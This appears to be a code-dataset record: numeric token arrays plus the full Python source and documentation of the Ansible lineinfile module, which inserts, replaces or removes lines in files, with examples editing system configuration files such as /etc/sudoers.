507, 198, 2590, 26, 686, 198, 277, 14, 409, 63, 15362, 8, 1512, 2300, 7187, 63, 31075, 12969, 59, 16, 566, 686, 198, 1107, 9620, 7187, 63, 31075, 12969, 59, 16, 61, 421, 198, 318, 663, 63, 15362, 8, 277, 12, 7513, 304, 507, 198, 624, 507, 198, 1084, 314, 13038, 1901, 314, 3421, 1215, 14, 507, 198, 32, 635, 7513, 314, 13038, 315, 14358, 507, 198, 624, 507, 198 ]
[ 199, 7384, 10219, 12, 9079, 12, 8937, 2868, 2290, 2752, 12, 3277, 14, 199, 2765, 570, 365, 1777, 402, 1664, 13514, 199, 199, 17732, 13514, 3599, 32012, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 8951, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 305, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 1618, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 199, 17732, 13514, 3599, 32012, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 7911, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 31461, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 17732, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 199, 5556, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 21632, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 30216, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 4828, 221, 11315, 13, 10067, 12, 8217, 199, 624, 199, 199, 504, 6566, 492, 6566, 199, 646, 17397, 199, 646, 3626, 1384, 199, 504, 2508, 1300, 492, 312, 807, 199, 504, 22296, 492, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 199, 504, 22296, 492, 971, 199, 198, 8475, 63, 13837, 63, 48, 9732, 1206, 12, 971, 199, 198, 3657, 63, 899, 4014, 2594, 12, 491, 1217, 2901, 63, 899, 4014, 2594, 12, 971, 199, 198, 3657, 63, 30083, 63, 899, 4014, 2594, 12, 9620, 7187, 63, 31075, 12969, 199, 646, 1134, 12275, 199, 647, 12275, 14, 4365, 360, 18, 14, 16, 358, 199, 646, 8116, 199, 646, 299, 17771, 199, 199, 8475, 63, 10520, 2160, 63, 23719, 11916, 60, 199, 3, 409, 2672, 23801, 275, 2672, 1457, 14, 374, 63, 1078, 342, 436, 283, 8399, 7, 503, 283, 581, 7, 199, 28, 3751, 24470, 628, 4, 23801, 2, 5023, 63, 3257, 628, 51, 796, 1695, 8186, 66, 30, 4, 2143, 22187, 1457, 14, 362, 63, 354, 1012, 1108, 66, 2957, 3751, 11193, 199, 199, 533, 8651, 8, 2162, 304, 199, 198, 624, 1918, 3343, 2652, 4673, 1853, 1041, 421, 198, 318, 636, 826, 721, 277, 304, 507, 198, 624, 507, 198, 3142, 406, 454, 85, 630, 14, 507, 198, 1123, 24348, 4048, 1862, 370, 314, 1853, 14, 507, 198, 624, 507, 198, 3, 525, 314, 3421, 1215, 507, 198, 277, 14, 362, 63, 1162, 1252, 740, 8, 277, 14, 362, 63, 1708, 1252, 362, 63, 1708, 1252, 4098, 8, 686, 198, 1457, 29, 277, 12, 686, 198, 78, 29, 79, 807, 2561, 1585, 198, 7, 354, 356, 283, 14438, 25334, 323, 297, 1585, 198, 7, 498, 356, 2513, 20493, 297, 1585, 198, 1133, 514, 356, 283, 1773, 297, 1585, 198, 7, 585, 356, 8189, 16, 12, 378, 3196, 1585, 198, 7, 8191, 356, 283, 452, 297, 686, 198, 1552, 507, 198, 430, 507, 198, 277, 14, 362, 63, 1162, 1252, 740, 8, 277, 14, 362, 63, 1708, 1252, 362, 63, 1708, 1252, 4098, 8, 686, 198, 1457, 29, 277, 12, 686, 198, 78, 29, 79, 807, 2561, 1585, 198, 7, 354, 356, 283, 14438, 28642, 297, 1585, 198, 7, 498, 356, 2513, 15362, 297, 1585, 198, 1133, 514, 356, 283, 1773, 297, 1585, 198, 7, 585, 356, 283, 16, 297, 1585, 198, 7, 8191, 356, 283, 452, 297, 686, 198, 1552, 507, 198, 430, 507, 198, 2162, 855, 826, 721, 277, 9, 421, 198, 318, 664, 63, 20493, 8, 277, 304, 507, 198, 624, 507, 198, 1002, 314, 10021, 687, 314, 3421, 1215, 14, 507, 198, 32, 1107, 314, 10021, 2008, 334, 88, 12, 612, 9, 503, 334, 16, 12, 378, 9, 340, 5988, 507, 198, 624, 507, 198, 893, 26, 327, 5626, 9352, 370, 2008, 686, 198, 331, 269, 275, 3468, 8, 277, 14, 362, 63, 635, 6412, 20493, 1959, 362, 63, 585, 1012, 686, 198, 88, 12, 612, 275, 2341, 8, 442, 12, 512, 269, 9, 686, 198, 9681, 55, 12, 9681, 40, 275, 291, 14, 362, 63, 1708, 1252, 362, 63, 890, 342, 686, 198, 692, 671, 2695, 378, 26, 1585, 198, 88, 275, 378, 686, 198, 4164, 671, 2356, 16587, 55, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 26, 1585, 198, 88, 275, 16587, 55, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 686, 198, 692, 612, 2695, 378, 26, 1585, 198, 89, 275, 378, 686, 198, 4164, 612, 2356, 16587, 40, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 26, 1585, 198, 89, 275, 16587, 40, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 686, 198, 1107, 334, 88, 12, 612, 9, 507, 198, 2590, 26, 686, 198, 277, 14, 409, 63, 20493, 1332, 16, 12, 378, 430, 686, 198, 1107, 334, 16, 12, 378, 9, 421, 198, 318, 663, 63, 20493, 8, 277, 12, 512, 269, 304, 507, 198, 624, 507, 198, 1084, 314, 10021, 1901, 314, 3421, 1215, 14, 507, 198, 32, 635, 512, 269, 314, 10021, 2008, 334, 88, 12, 612, 9, 507, 198, 624, 507, 198, 277, 14, 362, 63, 635, 6412, 20493, 1959, 409, 63, 585, 8, 495, 8, 331, 269, 430, 421, 198, 318, 664, 63, 15362, 8, 277, 304, 507, 198, 624, 507, 198, 1002, 314, 13038, 687, 314, 3421, 1215, 14, 507, 198, 32, 1107, 314, 13038, 315, 14358, 503, 378, 340, 5988, 507, 198, 624, 507, 198, 893, 26, 327, 5626, 9352, 370, 1211, 686, 198, 15362, 275, 3468, 8, 277, 14, 362, 63, 635, 6412, 15362, 1959, 362, 63, 585, 1012, 686, 198, 1107, 1109, 8, 15362, 9, 507, 198, 2590, 26, 686, 198, 277, 14, 409, 63, 15362, 8, 1512, 2300, 7187, 63, 31075, 12969, 59, 16, 566, 686, 198, 1107, 9620, 7187, 63, 31075, 12969, 59, 16, 61, 421, 198, 318, 663, 63, 15362, 8, 277, 12, 7513, 304, 507, 198, 624, 507, 198, 1084, 314, 13038, 1901, 314, 3421, 1215, 14, 507, 198, 32, 635, 7513, 314, 13038, 315, 14358, 507, 198, 624, 507, 198, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ctlajoie/ansible-modules-core
files/lineinfile.py
8
13705
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2012, Daniel Hokka Zakrisson <daniel@hozac.com> # (c) 2014, Ahti Kitsik <ak@ahtik.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. import re import os import pipes import tempfile DOCUMENTATION = """ --- module: lineinfile author: - "Daniel Hokka Zakrissoni (@dhozac)" - "Ahti Kitsik (@ahtik)" extends_documentation_fragment: files short_description: Ensure a particular line is in a file, or replace an existing line using a back-referenced regular expression. description: - This module will search a file for a line, and ensure that it is present or absent. - This is primarily useful when you want to change a single line in a file only. See the M(replace) module if you want to change multiple, similar lines; for other cases, see the M(copy) or M(template) modules. version_added: "0.7" options: dest: required: true aliases: [ name, destfile ] description: - The file to modify. regexp: required: false version_added: 1.7 description: - The regular expression to look for in every line of the file. For C(state=present), the pattern to replace if found; only the last line found will be replaced. For C(state=absent), the pattern of the line to remove. Uses Python regular expressions; see U(http://docs.python.org/2/library/re.html). state: required: false choices: [ present, absent ] default: "present" aliases: [] description: - Whether the line should be there or not. line: required: false description: - Required for C(state=present). The line to insert/replace into the file. If C(backrefs) is set, may contain backreferences that will get expanded with the C(regexp) capture groups if the regexp matches. backrefs: required: false default: "no" choices: [ "yes", "no" ] version_added: "1.1" description: - Used with C(state=present). If set, line can contain backreferences (both positional and named) that will get populated if the C(regexp) matches. This flag changes the operation of the module slightly; C(insertbefore) and C(insertafter) will be ignored, and if the C(regexp) doesn't match anywhere in the file, the file will be left unchanged. If the C(regexp) does match, the last matching line will be replaced by the expanded line parameter. insertafter: required: false default: EOF description: - Used with C(state=present). If specified, the line will be inserted after the last match of specified regular expression. A special value is available; C(EOF) for inserting the line at the end of the file. If specified regular expresion has no matches, EOF will be used instead. May not be used with C(backrefs). choices: [ 'EOF', '*regex*' ] insertbefore: required: false version_added: "1.1" description: - Used with C(state=present). If specified, the line will be inserted before the last match of specified regular expression. A value is available; C(BOF) for inserting the line at the beginning of the file. If specified regular expresion has no matches, the line will be inserted at the end of the file. May not be used with C(backrefs). choices: [ 'BOF', '*regex*' ] create: required: false choices: [ "yes", "no" ] default: "no" description: - Used with C(state=present). If specified, the file will be created if it does not already exist. By default it will fail if the file is missing. backup: required: false default: "no" choices: [ "yes", "no" ] description: - Create a backup file including the timestamp information so you can get the original file back if you somehow clobbered it incorrectly. validate: required: false description: - validation to run before copying into place. Use %s in the command to indicate the current file to validate. The command is passed securely so shell features like expansion and pipes won't work. required: false default: None version_added: "1.4" others: description: - All arguments accepted by the M(file) module also work here. required: false """ EXAMPLES = r""" - lineinfile: dest=/etc/selinux/config regexp=^SELINUX= line=SELINUX=enforcing - lineinfile: dest=/etc/sudoers state=absent regexp="^%wheel" - lineinfile: dest=/etc/hosts regexp='^127\.0\.0\.1' line='127.0.0.1 localhost' owner=root group=root mode=0644 - lineinfile: dest=/etc/httpd/conf/httpd.conf regexp="^Listen " insertafter="^#Listen " line="Listen 8080" - lineinfile: dest=/etc/services regexp="^# port for http" insertbefore="^www.*80/tcp" line="# port for http by default" # Add a line to a file if it does not exist, without passing regexp - lineinfile: dest=/tmp/testfile line="192.168.1.99 foo.lab.net foo" # Fully quoted because of the ': ' on the line. See the Gotchas in the YAML docs. - lineinfile: "dest=/etc/sudoers state=present regexp='^%wheel' line='%wheel ALL=(ALL) NOPASSWD: ALL'" - lineinfile: dest=/opt/jboss-as/bin/standalone.conf regexp='^(.*)Xms(\d+)m(.*)$' line='\1Xms${xms}m\3' backrefs=yes # Validate the sudoers file before saving - lineinfile: dest=/etc/sudoers state=present regexp='^%ADMIN ALL\=' line='%ADMIN ALL=(ALL) NOPASSWD:ALL' validate='visudo -cf %s' """ def write_changes(module,lines,dest): tmpfd, tmpfile = tempfile.mkstemp() f = os.fdopen(tmpfd,'wb') f.writelines(lines) f.close() validate = module.params.get('validate', None) valid = not validate if validate: if "%s" not in validate: module.fail_json(msg="validate must contain %%s: %s" % (validate)) (rc, out, err) = module.run_command(validate % tmpfile) valid = rc == 0 if rc != 0: module.fail_json(msg='failed to validate: ' 'rc:%s error:%s' % (rc,err)) if valid: module.atomic_move(tmpfile, os.path.realpath(dest)) def check_file_attrs(module, changed, message): file_args = module.load_file_common_arguments(module.params) if module.set_fs_attributes_if_different(file_args, False): if changed: message += " and " changed = True message += "ownership, perms or SE linux context changed" return message, changed def present(module, dest, regexp, line, insertafter, insertbefore, create, backup, backrefs): if not os.path.exists(dest): if not create: module.fail_json(rc=257, msg='Destination %s does not exist !' % dest) destpath = os.path.dirname(dest) if not os.path.exists(destpath) and not module.check_mode: os.makedirs(destpath) lines = [] else: f = open(dest, 'rb') lines = f.readlines() f.close() msg = "" if regexp is not None: mre = re.compile(regexp) if insertafter not in (None, 'BOF', 'EOF'): insre = re.compile(insertafter) elif insertbefore not in (None, 'BOF'): insre = re.compile(insertbefore) else: insre = None # index[0] is the line num where regexp has been found # index[1] is the line num where insertafter/inserbefore has been found index = [-1, -1] m = None for lineno, cur_line in enumerate(lines): if regexp is not None: match_found = mre.search(cur_line) else: match_found = line == cur_line.rstrip('\r\n') if match_found: index[0] = lineno m = match_found elif insre is not None and insre.search(cur_line): if insertafter: # + 1 for the next line index[1] = lineno + 1 if insertbefore: # + 1 for the previous line index[1] = lineno msg = '' changed = False # Regexp matched a line in the file if index[0] != -1: if backrefs: new_line = m.expand(line) else: # Don't do backref expansion if not asked. new_line = line if lines[index[0]] != new_line + os.linesep: lines[index[0]] = new_line + os.linesep msg = 'line replaced' changed = True elif backrefs: # Do absolutely nothing, since it's not safe generating the line # without the regexp matching to populate the backrefs. pass # Add it to the beginning of the file elif insertbefore == 'BOF' or insertafter == 'BOF': lines.insert(0, line + os.linesep) msg = 'line added' changed = True # Add it to the end of the file if requested or # if insertafter/insertbefore didn't match anything # (so default behaviour is to add at the end) elif insertafter == 'EOF' or index[1] == -1: # If the file is not empty then ensure there's a newline before the added line if len(lines)>0 and not (lines[-1].endswith('\n') or lines[-1].endswith('\r')): lines.append(os.linesep) lines.append(line + os.linesep) msg = 'line added' changed = True # insert* matched, but not the regexp else: lines.insert(index[1], line + os.linesep) msg = 'line added' changed = True backupdest = "" if changed and not module.check_mode: if backup and os.path.exists(dest): backupdest = module.backup_local(dest) write_changes(module, lines, dest) if module.check_mode and not os.path.exists(dest): module.exit_json(changed=changed, msg=msg, backup=backupdest) msg, changed = check_file_attrs(module, changed, msg) module.exit_json(changed=changed, msg=msg, backup=backupdest) def absent(module, dest, regexp, line, backup): if not os.path.exists(dest): module.exit_json(changed=False, msg="file not present") msg = "" f = open(dest, 'rb') lines = f.readlines() f.close() if regexp is not None: cre = re.compile(regexp) found = [] def matcher(cur_line): if regexp is not None: match_found = cre.search(cur_line) else: match_found = line == cur_line.rstrip('\r\n') if match_found: found.append(cur_line) return not match_found lines = filter(matcher, lines) changed = len(found) > 0 backupdest = "" if changed and not module.check_mode: if backup: backupdest = module.backup_local(dest) write_changes(module, lines, dest) if changed: msg = "%s line(s) removed" % len(found) msg, changed = check_file_attrs(module, changed, msg) module.exit_json(changed=changed, found=len(found), msg=msg, backup=backupdest) def main(): module = AnsibleModule( argument_spec=dict( dest=dict(required=True, aliases=['name', 'destfile']), state=dict(default='present', choices=['absent', 'present']), regexp=dict(default=None), line=dict(aliases=['value']), insertafter=dict(default=None), insertbefore=dict(default=None), backrefs=dict(default=False, type='bool'), create=dict(default=False, type='bool'), backup=dict(default=False, type='bool'), validate=dict(default=None, type='str'), ), mutually_exclusive=[['insertbefore', 'insertafter']], add_file_common_args=True, supports_check_mode=True ) params = module.params create = module.params['create'] backup = module.params['backup'] backrefs = module.params['backrefs'] dest = os.path.expanduser(params['dest']) if os.path.isdir(dest): module.fail_json(rc=256, msg='Destination %s is a directory !' % dest) if params['state'] == 'present': if backrefs and params['regexp'] is None: module.fail_json(msg='regexp= is required with backrefs=true') if params.get('line', None) is None: module.fail_json(msg='line= is required with state=present') # Deal with the insertafter default value manually, to avoid errors # because of the mutually_exclusive mechanism. ins_bef, ins_aft = params['insertbefore'], params['insertafter'] if ins_bef is None and ins_aft is None: ins_aft = 'EOF' line = params['line'] present(module, dest, params['regexp'], line, ins_aft, ins_bef, create, backup, backrefs) else: if params['regexp'] is None and params.get('line', None) is None: module.fail_json(msg='one of line= or regexp= is required with state=absent') absent(module, dest, params['regexp'], params.get('line', None), backup) # import module snippets from ansible.module_utils.basic import * from ansible.module_utils.splitter import * if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 6029, 12, 24747, 14769, 869, 745, 7351, 3107, 1151, 322, 385, 265, 665, 24863, 14769, 32, 526, 90, 645, 14, 957, 30, 199, 3, 334, 67, 9, 6927, 12, 437, 72, 280, 1804, 390, 338, 75, 665, 1151, 32, 11326, 30298, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 646, 295, 199, 646, 747, 199, 646, 20988, 199, 646, 5549, 199, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 1004, 13880, 199, 2502, 26, 5591, 446, 298, 29336, 14769, 869, 745, 7351, 3107, 1151, 322, 385, 265, 73, 8593, 68, 526, 90, 645, 2924, 272, 446, 298, 33, 72, 280, 1804, 390, 338, 75, 8593, 11326, 30298, 2924, 199, 11036, 63, 9970, 63, 7677, 26, 1584, 199, 3612, 63, 1802, 26, 7523, 282, 6770, 1004, 365, 315, 282, 570, 12, 503, 3350, 376, 673, 3411, 1004, 1808, 282, 1771, 13, 22355, 5578, 3965, 14, 199, 1802, 26, 523, 446, 961, 859, 911, 2754, 282, 570, 367, 282, 1004, 12, 436, 4868, 626, 652, 365, 3451, 503, 9552, 14, 523, 446, 961, 365, 1979, 30468, 2997, 1380, 1265, 2934, 370, 1570, 282, 2849, 1004, 315, 272, 282, 570, 1454, 14, 1666, 314, 603, 8, 1814, 9, 859, 340, 1265, 2934, 370, 1570, 272, 3663, 12, 8545, 2385, 27, 367, 1163, 5560, 12, 1937, 314, 603, 8, 1574, 9, 503, 272, 603, 8, 1160, 9, 4621, 14, 199, 1023, 63, 3270, 26, 298, 16, 14, 23, 2, 199, 1419, 26, 523, 2053, 26, 272, 1415, 26, 2549, 272, 5481, 26, 359, 536, 12, 2053, 493, 1622, 272, 1369, 26, 489, 446, 710, 570, 370, 2811, 14, 523, 13156, 26, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 413, 14, 23, 272, 1369, 26, 489, 446, 710, 5578, 3965, 370, 3648, 367, 315, 4036, 1004, 402, 314, 570, 14, 2104, 267, 445, 8, 929, 29, 1881, 395, 314, 3851, 370, 3350, 340, 1911, 27, 1454, 314, 2061, 1004, 267, 1911, 911, 506, 8717, 14, 2104, 445, 8, 929, 29, 5575, 395, 314, 3851, 402, 314, 1004, 267, 370, 2813, 14, 221, 14911, 2018, 5578, 8455, 27, 1937, 267, 738, 8, 1014, 921, 4757, 14, 1548, 14, 1308, 15, 18, 15, 4342, 15, 264, 14, 1360, 680, 523, 1174, 26, 272, 1415, 26, 3055, 272, 3415, 26, 359, 3451, 12, 9552, 1622, 272, 849, 26, 298, 1881, 2, 272, 5481, 26, 942, 272, 1369, 26, 489, 446, 7480, 314, 1004, 1077, 506, 2337, 503, 440, 14, 523, 1004, 26, 272, 1415, 26, 3055, 272, 1369, 26, 489, 446, 11105, 367, 445, 8, 929, 29, 1881, 680, 710, 1004, 370, 5518, 15, 1814, 1901, 314, 267, 570, 14, 982, 445, 8, 894, 7655, 9, 365, 663, 12, 1443, 1395, 1771, 12635, 626, 911, 664, 267, 11507, 543, 314, 445, 8, 11191, 9, 12296, 4652, 340, 314, 13156, 4450, 14, 523, 1771, 7655, 26, 272, 1415, 26, 3055, 272, 849, 26, 298, 889, 2, 272, 3415, 26, 359, 298, 5066, 401, 298, 889, 2, 1622, 272, 1015, 63, 3270, 26, 298, 17, 14, 17, 2, 272, 1369, 26, 489, 446, 8051, 543, 445, 8, 929, 29, 1881, 680, 982, 663, 12, 1004, 883, 1395, 1771, 12635, 267, 334, 10727, 11333, 436, 4310, 9, 626, 911, 664, 16460, 340, 314, 445, 8, 11191, 9, 267, 4450, 14, 961, 3305, 4493, 314, 3439, 402, 314, 859, 18023, 27, 267, 445, 8, 3176, 5182, 9, 436, 445, 8, 3176, 4399, 9, 911, 506, 5525, 12, 436, 340, 314, 445, 8, 11191, 9, 267, 3181, 1133, 1336, 26523, 315, 314, 570, 12, 314, 570, 911, 506, 3602, 14874, 14, 267, 982, 314, 445, 8, 11191, 9, 1630, 1336, 12, 314, 2061, 4877, 1004, 911, 506, 8717, 701, 267, 314, 11507, 1004, 2725, 14, 523, 5518, 4399, 26, 272, 1415, 26, 3055, 272, 849, 26, 9027, 272, 1369, 26, 489, 446, 8051, 543, 445, 8, 929, 29, 1881, 680, 982, 2013, 12, 314, 1004, 911, 506, 11788, 267, 2410, 314, 2061, 1336, 402, 2013, 5578, 3965, 14, 437, 4539, 574, 365, 267, 2808, 27, 445, 8, 13178, 9, 367, 28498, 314, 1004, 737, 314, 1284, 402, 314, 570, 14, 4960, 982, 2013, 5578, 444, 657, 438, 965, 949, 4450, 12, 9027, 911, 506, 1202, 3140, 14, 267, 10162, 440, 506, 1202, 543, 445, 8, 894, 7655, 680, 272, 3415, 26, 359, 283, 13178, 297, 6438, 3821, 10223, 1622, 523, 5518, 5182, 26, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 17, 2, 272, 1369, 26, 489, 446, 8051, 543, 445, 8, 929, 29, 1881, 680, 982, 2013, 12, 314, 1004, 911, 506, 11788, 267, 2544, 314, 2061, 1336, 402, 2013, 5578, 3965, 14, 437, 574, 365, 4960, 2808, 27, 445, 8, 34, 3359, 9, 367, 28498, 314, 1004, 737, 314, 9608, 402, 314, 570, 14, 267, 982, 2013, 5578, 444, 657, 438, 965, 949, 4450, 12, 314, 1004, 911, 506, 267, 11788, 737, 314, 1284, 402, 314, 570, 14, 221, 10162, 440, 506, 1202, 543, 445, 8, 894, 7655, 680, 272, 3415, 26, 359, 283, 34, 3359, 297, 6438, 3821, 10223, 1622, 523, 1218, 26, 272, 1415, 26, 3055, 272, 3415, 26, 359 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 6029, 12, 24747, 14769, 869, 745, 7351, 3107, 1151, 322, 385, 265, 665, 24863, 14769, 32, 526, 90, 645, 14, 957, 30, 199, 3, 334, 67, 9, 6927, 12, 437, 72, 280, 1804, 390, 338, 75, 665, 1151, 32, 11326, 30298, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 646, 295, 199, 646, 747, 199, 646, 20988, 199, 646, 5549, 199, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 1004, 13880, 199, 2502, 26, 5591, 446, 298, 29336, 14769, 869, 745, 7351, 3107, 1151, 322, 385, 265, 73, 8593, 68, 526, 90, 645, 2924, 272, 446, 298, 33, 72, 280, 1804, 390, 338, 75, 8593, 11326, 30298, 2924, 199, 11036, 63, 9970, 63, 7677, 26, 1584, 199, 3612, 63, 1802, 26, 7523, 282, 6770, 1004, 365, 315, 282, 570, 12, 503, 3350, 376, 673, 3411, 1004, 1808, 282, 1771, 13, 22355, 5578, 3965, 14, 199, 1802, 26, 523, 446, 961, 859, 911, 2754, 282, 570, 367, 282, 1004, 12, 436, 4868, 626, 652, 365, 3451, 503, 9552, 14, 523, 446, 961, 365, 1979, 30468, 2997, 1380, 1265, 2934, 370, 1570, 282, 2849, 1004, 315, 272, 282, 570, 1454, 14, 1666, 314, 603, 8, 1814, 9, 859, 340, 1265, 2934, 370, 1570, 272, 3663, 12, 8545, 2385, 27, 367, 1163, 5560, 12, 1937, 314, 603, 8, 1574, 9, 503, 272, 603, 8, 1160, 9, 4621, 14, 199, 1023, 63, 3270, 26, 298, 16, 14, 23, 2, 199, 1419, 26, 523, 2053, 26, 272, 1415, 26, 2549, 272, 5481, 26, 359, 536, 12, 2053, 493, 1622, 272, 1369, 26, 489, 446, 710, 570, 370, 2811, 14, 523, 13156, 26, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 413, 14, 23, 272, 1369, 26, 489, 446, 710, 5578, 3965, 370, 3648, 367, 315, 4036, 1004, 402, 314, 570, 14, 2104, 267, 445, 8, 929, 29, 1881, 395, 314, 3851, 370, 3350, 340, 1911, 27, 1454, 314, 2061, 1004, 267, 1911, 911, 506, 8717, 14, 2104, 445, 8, 929, 29, 5575, 395, 314, 3851, 402, 314, 1004, 267, 370, 2813, 14, 221, 14911, 2018, 5578, 8455, 27, 1937, 267, 738, 8, 1014, 921, 4757, 14, 1548, 14, 1308, 15, 18, 15, 4342, 15, 264, 14, 1360, 680, 523, 1174, 26, 272, 1415, 26, 3055, 272, 3415, 26, 359, 3451, 12, 9552, 1622, 272, 849, 26, 298, 1881, 2, 272, 5481, 26, 942, 272, 1369, 26, 489, 446, 7480, 314, 1004, 1077, 506, 2337, 503, 440, 14, 523, 1004, 26, 272, 1415, 26, 3055, 272, 1369, 26, 489, 446, 11105, 367, 445, 8, 929, 29, 1881, 680, 710, 1004, 370, 5518, 15, 1814, 1901, 314, 267, 570, 14, 982, 445, 8, 894, 7655, 9, 365, 663, 12, 1443, 1395, 1771, 12635, 626, 911, 664, 267, 11507, 543, 314, 445, 8, 11191, 9, 12296, 4652, 340, 314, 13156, 4450, 14, 523, 1771, 7655, 26, 272, 1415, 26, 3055, 272, 849, 26, 298, 889, 2, 272, 3415, 26, 359, 298, 5066, 401, 298, 889, 2, 1622, 272, 1015, 63, 3270, 26, 298, 17, 14, 17, 2, 272, 1369, 26, 489, 446, 8051, 543, 445, 8, 929, 29, 1881, 680, 982, 663, 12, 1004, 883, 1395, 1771, 12635, 267, 334, 10727, 11333, 436, 4310, 9, 626, 911, 664, 16460, 340, 314, 445, 